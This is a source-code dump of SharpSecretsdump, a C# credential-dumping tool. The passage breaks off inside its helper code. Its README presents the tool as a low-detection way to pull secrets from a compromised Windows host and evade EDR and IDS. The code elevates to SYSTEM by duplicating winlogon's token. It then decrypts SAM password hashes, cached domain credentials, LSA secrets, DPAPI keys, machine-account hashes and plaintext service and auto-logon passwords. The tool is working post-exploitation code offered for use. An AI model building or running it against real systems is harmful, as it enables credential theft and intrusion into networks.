├── .gitignore
├── README.md
├── SharpSecretsdump.sln
└── SharpSecretsdump
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── SharpSecretsdump.csproj
├── app.config
└── lib
├── Crypto.cs
├── Helpers.cs
├── Interop.cs
├── Kerberos
├── AesKey.cs
├── ArrayUtility.cs
├── CipherTextStealingMode.cs
├── ConstValue.cs
├── CryptoUtility.cs
├── DesKey.cs
├── KeyGenerator.cs
└── Types.cs
├── LSADump.cs
├── LsaSecretBlob.cs
└── NL_Record.cs
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | *.user
3 | [Dd]ebug/
4 | [Rr]elease/
5 | [Bb]in/
6 | [Oo]bj/
7 | .DS_Store
8 | *.csproj.user
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpSecretsdump
2 |
3 | C# project used to mimic `secretsdump.py` from impacket but only to be run locally on hosts without relying on the remote registry service. Nowadays, most EDR, IDS or next gen firewalls can detect the use of impacket or remote use of the registry service. This project aims to lower the fingerprint of retriveing secrets stored in the hives of a compromised host.
4 |
5 | Most of the code used here is coming from these 2 project:
6 | * https://github.com/G0ldenGunSec/SharpSecDump
7 | * https://github.com/GhostPack/SharpDPAPI
8 | * https://github.com/microsoft/WindowsProtocolTestSuites/tree/03b3906b9745be72b1852f7ec6ac28ca838029b6
9 |
10 | ## Use
11 |
12 | SharpSecretsdump can be ran directly without any argument.
13 | It also can be ran by providing the `bootKey` as the first argument such as:
14 |
15 | ```
16 | > sharp.exe bootkey
17 | ```
18 |
--------------------------------------------------------------------------------
/SharpSecretsdump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.102
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSecretsdump", "SharpSecretsdump\SharpSecretsdump.csproj", "{FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {760d8018-04a0-4a2c-91c8-2132b96e3e46}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpSecretsdump/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSecretsdump
4 | {
5 | class Program
6 | {
7 | static void Main(string[] args)
8 | {
9 | bool alreadySystem = false;
10 |
11 | if (!Helpers.IsHighIntegrity())
12 | {
13 | Console.WriteLine("You need to be in high integrity to extract LSA secrets!");
14 | return;
15 | }
16 | else
17 | {
18 | string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
19 | bool isSytem = System.Security.Principal.WindowsIdentity.GetCurrent().IsSystem;
20 |
21 | if (isSytem)
22 | {
23 | alreadySystem = true;
24 | }
25 | else
26 | {
27 | // elevated but not system, so gotta GetSystem() first
28 | //Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval");
29 | if (Helpers.GetSystem() == false)
30 | {
31 | Console.WriteLine($"Failed to elevate: {currentName}");
32 | return;
33 | }
34 | }
35 | }
36 |
37 | byte[] bootkey = null;
38 | if (args.Length == 1)
39 | {
40 | bootkey = Helpers.StringToByteArray(args[0].Replace("0x", ""));
41 | }
42 | else
43 | {
44 | bootkey = LSADump.GetBootKey();
45 | }
46 |
47 | Console.WriteLine($"[*] Target system bootKey: 0x{Helpers.Hexlify(bootkey)}");
48 |
49 | Helpers.GetSamAccounts(bootkey);
50 | Helpers.GetDefaultLogon();
51 | Helpers.GetLsaSecrets(bootkey);
52 |
53 | if (!alreadySystem)
54 | {
55 | Interop.RevertToSelf();
56 | }
57 | }
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/SharpSecretsdump/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // General Information about an assembly is controlled through the following
5 | // set of attributes. Change these attribute values to modify the information
6 | // associated with an assembly.
7 | [assembly: AssemblyTitle("SharpSecretsdump")]
8 | [assembly: AssemblyDescription("")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("")]
11 | [assembly: AssemblyProduct("Sharp")]
12 | [assembly: AssemblyCopyright("Copyright © 2022")]
13 | [assembly: AssemblyTrademark("")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | // Setting ComVisible to false makes the types in this assembly not visible
17 | // to COM components. If you need to access a type in this assembly from
18 | // COM, set the ComVisible attribute to true on that type.
19 | [assembly: ComVisible(false)]
20 |
21 | // The following GUID is for the ID of the typelib if this project is exposed to COM
22 | [assembly: Guid("517b876b-734f-4c08-96e4-f38d8028c1b7")]
23 |
24 | // Version information for an assembly consists of the following four values:
25 | //
26 | // Major Version
27 | // Minor Version
28 | // Build Number
29 | // Revision
30 | //
31 | // You can specify all the values or you can default the Build and Revision Numbers
32 | // by using the '*' as shown below:
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.0.0.0")]
35 | [assembly: AssemblyFileVersion("1.0.0.0")]
36 |
--------------------------------------------------------------------------------
/SharpSecretsdump/SharpSecretsdump.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}
8 | Exe
9 | Properties
10 | SharpSecretsdump
11 | sharp
12 | v4.5.2
13 | 512
14 | false
15 |
16 | publish\
17 | true
18 | Disk
19 | false
20 | Foreground
21 | 7
22 | Days
23 | false
24 | false
25 | true
26 | 0
27 | 1.0.0.%2a
28 | false
29 | true
30 |
31 |
32 | AnyCPU
33 | true
34 | full
35 | false
36 | bin\Debug\
37 | prompt
38 | 4
39 | false
40 |
41 |
42 | AnyCPU
43 | none
44 | false
45 | bin\Release\
46 | prompt
47 | 0
48 | false
49 |
50 |
51 | false
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 | False
83 | .NET Framework 3.5 SP1
84 | true
85 |
86 |
87 |
88 |
89 |
90 |
91 |
98 |
--------------------------------------------------------------------------------
/SharpSecretsdump/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Crypto.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Cryptography;
3 | using System.IO;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 |
7 | namespace SharpSecretsdump
8 | {
9 | internal static class Crypto
10 | {
11 | public static byte[] LSAAESDecrypt(byte[] key, byte[] data)
12 | {
13 | var aesCryptoProvider = new AesManaged();
14 |
15 | aesCryptoProvider.Key = key;
16 | aesCryptoProvider.IV = new byte[16];
17 | aesCryptoProvider.Mode = CipherMode.CBC;
18 | aesCryptoProvider.BlockSize = 128;
19 | aesCryptoProvider.Padding = PaddingMode.Zeros;
20 | var transform = aesCryptoProvider.CreateDecryptor();
21 |
22 | var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16));
23 | var plaintext = new byte[chunks * 16];
24 |
25 | for (var i = 0; i < chunks; ++i)
26 | {
27 | var offset = i * 16;
28 | var chunk = new byte[16];
29 | Array.Copy(data, offset, chunk, 0, 16);
30 |
31 | var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length);
32 | Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16);
33 | }
34 |
35 | return plaintext;
36 | }
37 |
38 | // https://rosettacode.org/wiki/MD4
39 | public static byte[] Md4Hash2(this byte[] input)
40 | {
41 | // get padded uints from bytes
42 | List bytes = input.ToList();
43 | uint bitCount = (uint)(bytes.Count) * 8;
44 | bytes.Add(128);
45 | while (bytes.Count % 64 != 56) bytes.Add(0);
46 | var uints = new List();
47 | for (int i = 0; i + 3 < bytes.Count; i += 4)
48 | uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24);
49 | uints.Add(bitCount);
50 | uints.Add(0);
51 |
52 | // run rounds
53 | uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476;
54 | Func rol = (x, y) => x << (int)y | x >> 32 - (int)y;
55 | for (int q = 0; q + 15 < uints.Count; q += 16)
56 | {
57 | var chunk = uints.GetRange(q, 16);
58 | uint aa = a, bb = b, cc = c, dd = d;
59 | Action, uint[]> round = (f, y) =>
60 | {
61 | foreach (uint i in new[] { y[0], y[1], y[2], y[3] })
62 | {
63 | a = rol(a + f(b, c, d) + chunk[(int)(i + y[4])] + y[12], y[8]);
64 | d = rol(d + f(a, b, c) + chunk[(int)(i + y[5])] + y[12], y[9]);
65 | c = rol(c + f(d, a, b) + chunk[(int)(i + y[6])] + y[12], y[10]);
66 | b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]);
67 | }
68 | };
69 | round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 });
70 | round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 });
71 | round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 });
72 | a += aa; b += bb; c += cc; d += dd;
73 | }
74 | // return hex encoded string
75 | byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray();
76 | return outBytes;
77 | }
78 |
79 | public static byte[] LSASHA256Hash(byte[]key, byte[] rawData)
80 | {
81 | // yay
82 | using (var sha256Hash = SHA256.Create())
83 | {
84 | var buffer = new byte[key.Length + (rawData.Length * 1000)];
85 | Array.Copy(key, 0, buffer, 0, key.Length);
86 | for (var i = 0; i < 1000; ++i)
87 | {
88 | Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length);
89 | }
90 | return sha256Hash.ComputeHash(buffer);
91 | }
92 | }
93 |
94 | // https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp
95 | internal static byte[] RC4Encrypt(byte[] pwd, byte[] data)
96 | {
97 | int a, i, j, k, tmp;
98 | int[] key, box;
99 | byte[] cipher;
100 |
101 | key = new int[256];
102 | box = new int[256];
103 | cipher = new byte[data.Length];
104 |
105 | for (i = 0; i < 256; i++)
106 | {
107 | key[i] = pwd[i % pwd.Length];
108 | box[i] = i;
109 | }
110 | for (j = i = 0; i < 256; i++)
111 | {
112 | j = (j + box[i] + key[i]) % 256;
113 | tmp = box[i];
114 | box[i] = box[j];
115 | box[j] = tmp;
116 | }
117 | for (a = j = i = 0; i < data.Length; i++)
118 | {
119 | a++;
120 | a %= 256;
121 | j += box[a];
122 | j %= 256;
123 | tmp = box[a];
124 | box[a] = box[j];
125 | box[j] = tmp;
126 | k = box[((box[a] + box[j]) % 256)];
127 | cipher[i] = (byte)(data[i] ^ k);
128 | }
129 | return cipher;
130 | }
131 |
132 | internal static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv)
133 | {
134 | AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
135 | aes.BlockSize = 128;
136 | aes.Key = key;
137 | aes.Mode = CipherMode.CBC;
138 | aes.IV = iv;
139 | // you would think this would work to pad out the rest of the final block to 16, but it doesnt? ¯\_(ツ)_/¯
140 | aes.Padding = PaddingMode.Zeros;
141 |
142 | int tailLength = value.Length % 16;
143 | if (tailLength != 0)
144 | {
145 | List manualPadding = new List();
146 | for (int i = 16 - tailLength; i > 0; i--)
147 | {
148 | manualPadding.Add(0x00);
149 | }
150 | byte[] concat = new byte[value.Length + manualPadding.Count];
151 | System.Buffer.BlockCopy(value, 0, concat, 0, value.Length);
152 | System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count);
153 | value = concat;
154 | }
155 |
156 | using (ICryptoTransform decrypt = aes.CreateDecryptor())
157 | {
158 | byte[] dest = decrypt.TransformFinalBlock(value, 0, value.Length);
159 | return dest;
160 | }
161 | }
162 |
163 | internal static string DecryptSingleHash(byte[] obfuscatedHash, string user)
164 | {
165 | List key1 = new List();
166 | List key2 = new List();
167 |
168 | RidToKey(user, ref key1, ref key2);
169 |
170 | byte[] hashBytes1 = new byte[8];
171 | byte[] hashBytes2 = new byte[8];
172 | Buffer.BlockCopy(obfuscatedHash, 0, hashBytes1, 0, 8);
173 | Buffer.BlockCopy(obfuscatedHash, 8, hashBytes2, 0, 8);
174 |
175 | byte[] plain1 = DeObfuscateHashPart(hashBytes1, key1);
176 | byte[] plain2 = DeObfuscateHashPart(hashBytes2, key2);
177 |
178 | return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2));
179 | }
180 |
181 | // method from SidToKey - https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs
182 | private static void RidToKey(string hexRid, ref List key1, ref List key2)
183 | {
184 | int rid = Int32.Parse(hexRid, System.Globalization.NumberStyles.HexNumber);
185 | List temp1 = new List();
186 |
187 | byte temp = (byte)(rid & 0xFF);
188 | temp1.Add(temp);
189 |
190 | temp = (byte)(((rid >> 8) & 0xFF));
191 | temp1.Add(temp);
192 |
193 | temp = (byte)(((rid >> 16) & 0xFF));
194 | temp1.Add(temp);
195 |
196 | temp = (byte)(((rid >> 24) & 0xFF));
197 | temp1.Add(temp);
198 |
199 | temp1.Add(temp1[0]);
200 | temp1.Add(temp1[1]);
201 | temp1.Add(temp1[2]);
202 |
203 | List temp2 = new List();
204 | temp2.Add(temp1[3]);
205 | temp2.Add(temp1[0]);
206 | temp2.Add(temp1[1]);
207 | temp2.Add(temp1[2]);
208 |
209 | temp2.Add(temp2[0]);
210 | temp2.Add(temp2[1]);
211 | temp2.Add(temp2[2]);
212 |
213 | key1 = TransformKey(temp1);
214 | key2 = TransformKey(temp2);
215 | }
216 |
217 | private static List TransformKey(List inputData)
218 | {
219 | List data = new List();
220 | data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1));
221 | data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1));
222 | data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1));
223 | data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1));
224 | data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1));
225 | data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1));
226 | data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1));
227 | data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1));
228 | return data;
229 | }
230 |
231 | //from https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs
232 | private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List key)
233 | {
234 | DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
235 | cryptoProvider.Padding = PaddingMode.None;
236 | cryptoProvider.Mode = CipherMode.ECB;
237 | ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 });
238 | MemoryStream memoryStream = new MemoryStream(obfuscatedHash);
239 | CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
240 | byte[] plainTextBytes = new byte[obfuscatedHash.Length];
241 | int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
242 | return plainTextBytes;
243 | }
244 | }
245 | }
246 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Helpers.cs:
--------------------------------------------------------------------------------
1 | using SharpSecretsdump.lib.Kerberos;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.ComponentModel;
5 | using System.Diagnostics;
6 | using System.Linq;
7 | using System.Runtime.InteropServices;
8 | using System.Security.Cryptography;
9 | using System.Security.Principal;
10 | using System.Text;
11 |
12 | namespace SharpSecretsdump
13 | {
14 | public static class Helpers
15 | {
16 | public static bool GetSystem()
17 | {
18 | // helper to elevate to SYSTEM via token impersonation
19 | // used for LSA secret (DPAPI_SYSTEM) retrieval
20 | if (IsHighIntegrity())
21 | {
22 | IntPtr hToken = IntPtr.Zero;
23 |
24 | // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
25 | Process[] processes = Process.GetProcessesByName("winlogon");
26 | IntPtr handle = processes[0].Handle;
27 |
28 | // TOKEN_DUPLICATE = 0x0002
29 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
30 | if (!success)
31 | {
32 | //Console.WriteLine("OpenProcessToken failed!");
33 | return false;
34 | }
35 |
36 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon
37 | // 2 == SecurityImpersonation
38 | IntPtr hDupToken = IntPtr.Zero;
39 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
40 | if (!success)
41 | {
42 | //Console.WriteLine("DuplicateToken failed!");
43 | return false;
44 | }
45 |
46 | success = Interop.ImpersonateLoggedOnUser(hDupToken);
47 | if (!success)
48 | {
49 | //Console.WriteLine("ImpersonateLoggedOnUser failed!");
50 | return false;
51 | }
52 |
53 | // clean up the handles we created
54 | Interop.CloseHandle(hToken);
55 | Interop.CloseHandle(hDupToken);
56 |
57 | bool isSystem = System.Security.Principal.WindowsIdentity.GetCurrent().IsSystem;
58 | if (!isSystem)
59 | {
60 | return false;
61 | }
62 |
63 | return true;
64 | }
65 | else
66 | {
67 | return false;
68 | }
69 | }
70 |
71 | public static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal)
72 | {
73 | byte[] domainData = fVal.Skip(104).ToArray();
74 | byte[] hashedBootKey;
75 |
76 | //old style hashed bootkey storage
77 | if (domainData[0].Equals(0x01))
78 | {
79 | byte[] f70 = fVal.Skip(112).Take(16).ToArray();
80 | List data = new List();
81 | data.AddRange(f70);
82 | data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"));
83 | data.AddRange(bootKey);
84 | data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0"));
85 | byte[] md5 = MD5.Create().ComputeHash(data.ToArray());
86 | byte[] f80 = fVal.Skip(128).Take(32).ToArray();
87 | hashedBootKey = Crypto.RC4Encrypt(md5, f80);
88 | }
89 |
90 | //new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above
91 | else if (domainData[0].Equals(0x02))
92 | {
93 | byte[] sk_Salt_AES = domainData.Skip(16).Take(16).ToArray();
94 | int sk_Data_Length = BitConverter.ToInt32(domainData, 12);
95 | // int offset = BitConverter.ToInt32(v,12) + 204;
96 | byte[] sk_Data_AES = domainData.Skip(32).Take(sk_Data_Length).ToArray();
97 | hashedBootKey = Crypto.DecryptAES_CBC(sk_Data_AES, bootKey, sk_Salt_AES);
98 | }
99 | else
100 | {
101 | Console.WriteLine("[-] Error parsing hashed bootkey");
102 | return null;
103 | }
104 | return hashedBootKey;
105 | }
106 |
107 | public static void GetDefaultLogon()
108 | {
109 | string key = "Winlogon";
110 | byte[] usernameArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultUserName", true);
111 | byte[] domainArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultDomainName", true);
112 | byte[] passwordArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultPassword", true);
113 | string username;
114 | if (usernameArr != null)
115 | {
116 | username = Encoding.ASCII.GetString(usernameArr);
117 | username = username.Remove(username.Length - 1);
118 | }
119 | else
120 | {
121 | username = "(Unkown User)";
122 | }
123 | if (domainArr != null)
124 | {
125 | string domain = Encoding.ASCII.GetString(domainArr);
126 | domain = domain.Remove(domain.Length - 1);
127 | username = $"{domain}\\{username}";
128 | }
129 | if (usernameArr != null && passwordArr != null)
130 | {
131 | Console.WriteLine("[*] DEFAULTPASSWORD");
132 | string password = Encoding.ASCII.GetString(passwordArr);
133 | password = password.Remove(password.Length - 1);
134 | Console.WriteLine($"{username}:{password}");
135 | }
136 | }
137 |
138 | public static void GetLsaSecrets(byte[] bootKey)
139 | {
140 | try
141 | {
142 | byte[] decryptedLsaKey = LSADump.GetLSAKey(bootKey);
143 |
144 | //get NLKM Secret
145 | byte[] nlkmKey = LSADump.GetLSASecret("NL$KM", decryptedLsaKey);
146 |
147 | IntPtr hKey = IntPtr.Zero;
148 | IntPtr dummy = IntPtr.Zero;
149 | String keyPath = "SECURITY\\Cache";
150 | int len = 1024;
151 | int result;
152 | StringBuilder classVal = new StringBuilder(1024);
153 | IntPtr number = IntPtr.Zero;
154 |
155 | if (nlkmKey != null && nlkmKey.Length > 0)
156 | {
157 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
158 | if (result != 0)
159 | {
160 | string errorMessage = new Win32Exception((int)result).Message;
161 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, result, errorMessage);
162 | }
163 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy,
164 | ref number, ref dummy, ref dummy, ref dummy, IntPtr.Zero);
165 | if (result != 0)
166 | {
167 | string errorMessage = new Win32Exception((int)result).Message;
168 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
169 | }
170 |
171 | Console.WriteLine("[*] Dumping cached domain logon information (domain/username:hash)");
172 | byte[] data;
173 | string valueName;
174 | for (int i = 0; i < number.ToInt32(); i++)
175 | {
176 | len = 255;
177 | classVal = new StringBuilder(len);
178 | dummy = IntPtr.Zero;
179 | result = Interop.RegEnumValue(hKey, i, classVal, ref len, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
180 | if (result != 0)
181 | {
182 | string errorMessage = new Win32Exception((int)result).Message;
183 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
184 | return;
185 | }
186 |
187 | valueName = classVal.ToString();
188 | data = GetRegKeyValue(keyPath, valueName);
189 |
190 | if (string.Compare(valueName, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0
191 | && !IsZeroes(data.Take(16).ToArray()))
192 | {
193 | NL_Record cachedUser = new NL_Record(data);
194 | byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
195 | byte[] hashedPW = plaintext.Take(16).ToArray();
196 | string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
197 | string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength)
198 | + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
199 | domain = domain.Replace("\0", "");
200 | Console.WriteLine(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}: ({4})", domain,
201 | username, username, Hexlify(hashedPW),
202 | cachedUser.lastWrite.ToString("yyyy-MM-dd HH:mm:ss")));
203 | }
204 | }
205 | }
206 |
207 | Interop.RegCloseKey(hKey);
208 |
209 | try
210 | {
211 | Console.WriteLine("[*] Dumping LSA Secrets");
212 | keyPath = "SECURITY\\Policy\\Secrets";
213 | classVal = new StringBuilder(1024);
214 | len = 1024;
215 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
216 | if (result != 0)
217 | {
218 | string errorMessage = new Win32Exception((int)result).Message;
219 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
220 | return;
221 | }
222 | number = IntPtr.Zero;
223 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref number, ref dummy, ref dummy,
224 | ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero);
225 | if (result != 0)
226 | {
227 | string errorMessage = new Win32Exception((int)result).Message;
228 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
229 | return;
230 | }
231 |
232 | for (int i = 0; i < number.ToInt32(); i++)
233 | {
234 | len = 255;
235 | result = Interop.RegEnumKeyEx(hKey, i, classVal, ref len, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref dummy);
236 | if (result != 0)
237 | {
238 | string errorMessage = new Win32Exception((int)result).Message;
239 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
240 | return;
241 | }
242 |
243 | string secret = classVal.ToString();
244 |
245 | if (string.Compare(secret, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
246 | {
247 | if (string.Compare(secret, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
248 | {
249 | LsaSecretBlob secretBlob = new LsaSecretBlob(LSADump.GetLSASecret(secret, decryptedLsaKey));
250 | if (secretBlob.length > 0)
251 | {
252 | Console.WriteLine($"[*] {secret}");
253 | if (secret.ToUpper().StartsWith("$MACHINE.ACC"))
254 | {
255 | string computerAcctHash = Hexlify(Crypto.Md4Hash2(secretBlob.secret));
256 | string domainName = Encoding.ASCII.GetString(GetRegKeyValue("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "Domain")).Trim('\0').ToUpper();
257 | string computerName = Encoding.ASCII.GetString(GetRegKeyValue("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "Hostname")).Trim('\0');
258 |
259 | PrintMachineKerberos(secretBlob.secret, domainName, computerName);
260 |
261 | Console.WriteLine(string.Format("{0}\\{1}$:plain_password_hex:{2}", domainName, computerName, Hexlify(secretBlob.secret)));
262 | Console.WriteLine(string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}:::", domainName, computerName, computerAcctHash));
263 | }
264 | else if (secret.ToUpper().StartsWith("DPAPI"))
265 | {
266 | Console.WriteLine("dpapi_machinekey:0x" + Hexlify(secretBlob.secret.Skip(4).Take(20).ToArray()));
267 | Console.WriteLine("dpapi_userkey:0x" + Hexlify(secretBlob.secret.Skip(24).Take(20).ToArray()));
268 | }
269 | else if (secret.ToUpper().StartsWith("_SC_"))
270 | {
271 | var startName = GetRegKeyValue($"SYSTEM\\ControlSet001\\Services\\{secret.Substring(4)}", "ObjectName", true);
272 | // smsa account seems to have no value in services
273 | if (startName != null)
274 | {
275 | secret = Encoding.ASCII.GetString(startName).Trim('\0');
276 | }
277 | string pw;
278 | try
279 | {
280 | Encoding encod = Encoding.GetEncoding(UnicodeEncoding.Unicode.CodePage, EncoderFallback.ExceptionFallback, DecoderFallback.ExceptionFallback);
281 | pw = encod.GetString(secretBlob.secret);
282 | }
283 | catch (Exception e)
284 | {
285 | pw = Hexlify(secretBlob.secret);
286 | }
287 | Console.WriteLine($"{secret}:{pw}");
288 | }
289 | else if (secret.ToUpper().StartsWith("ASPNET_WP_PASSWORD"))
290 | {
291 | Console.WriteLine($"ASPNET:{Encoding.Unicode.GetString(secretBlob.secret)}");
292 | }
293 | else if (secret.ToUpper().StartsWith("DEFAULTPASSWORD"))
294 | {
295 | byte[] usernameArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName", true);
296 | byte[] domainArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName", true);
297 | byte[] passwordArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword", true);
298 | string username;
299 | if (usernameArr != null)
300 | {
301 | username = Encoding.ASCII.GetString(usernameArr);
302 | username = username.Remove(username.Length - 1);
303 | }
304 | else
305 | {
306 | username = "(Unkown User)";
307 | }
308 | if (domainArr != null)
309 | {
310 | string domain = Encoding.ASCII.GetString(domainArr);
311 | domain = domain.Remove(domain.Length - 1);
312 | username = $"{domain}\\{username}";
313 | }
314 | Console.WriteLine($"{username}:{Encoding.Unicode.GetString(secretBlob.secret)}");
315 | // For some reason password can be also defined in Winlogon
316 | if (passwordArr != null)
317 | {
318 | string password = Encoding.ASCII.GetString(passwordArr);
319 | password = password.Remove(password.Length - 1);
320 | Console.WriteLine($"{username}:{password}");
321 | }
322 | }
323 | else
324 | {
325 | Console.WriteLine("[!] Secret type not supported yet - outputing raw secret as hex");
